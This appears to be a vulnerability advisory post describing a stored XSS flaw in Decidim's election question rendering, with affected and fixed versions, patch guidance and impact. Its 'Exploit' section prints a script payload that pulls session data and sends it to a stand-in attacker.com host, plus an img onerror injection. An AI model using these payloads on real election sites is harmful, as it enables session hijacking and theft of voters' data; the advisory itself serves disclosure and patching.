Listen to this Post
Decidim is a participatory democracy framework, written in Ruby on Rails, originally developed for the Barcelona City government. This stored XSS vulnerability exists because election question s are rendered as trusted HTML instead of sanitized text. The election question editor stores `question.body` as a normal translatable string, and the public helper `question_` returns that value with `html_safe` and no sanitization boundary. This means any user who can edit election questions can persist markup or script-bearing payloads that later render on public election pages.
A low-privilege process-scoped admin who can manage elections can store arbitrary HTML in the question statement/body without sanitization. The public elections UI renders that value unsafely, leading to stored XSS. The attacker does not need high-level privileges—only question-management rights within a process are sufficient. When a visitor accesses a public election page or voting booth screen containing the poisoned question, the malicious JavaScript executes in their browser. This can lead to session hijacking, credential theft, or defacement of the election interface.
The vulnerability is fixed in Decidim versions 0.30.9, 0.31.5, and 0.32.0.rc2. The patch ensures that election question s and body content are properly sanitized before rendering, rather than being passed through `html_safe` without a sanitization boundary. The issue was discovered in a security audit organized by the Decidim Association and conducted by Radically Open Security, financed by NGI.
DailyCVE Form:
Platform: Decidim
Version: <0.30.9, 0.31.0-0.31.4, 0.32.0.rc1
Vulnerability: Stored Cross-Site Scripting (XSS)
Severity: Moderate
Date: 2026-09-09
Prediction: 2026-09-15
What Undercode Say:
Check Decidim version bundle show decidim Search for unsafe html_safe usage in election helpers grep -r "html_safe" app/helpers/decidim/elections/ Review question_ helper implementation cat app/helpers/decidim/elections/question__helper.rb
Exploit: (Educational Purposes!)
// Malicious payload stored in question.body
<script>
fetch('/api/v1/sessions', {
method: 'GET',
credentials: 'include'
}).then(r => r.json()).then(data => {
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
<!-- Alternative HTML injection -->
<img src="x" onerror="alert('XSS')">
Protection:
- Upgrade to Decidim 0.30.9, 0.31.5, or 0.32.0.rc2
- Review administrator access and do not grant question-management rights to untrustworthy users
- Ensure `question_` helper does not use `html_safe` without proper sanitization
- Apply the patch from decidim/decidim16659
Impact:
A low-privilege process-scoped admin or election editor with question-management rights can persist JavaScript that executes in visitors’ browsers on public election pages and voting booth screens. This can lead to session hijacking, theft of sensitive user data, defacement of election interfaces, and phishing attacks against voters.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

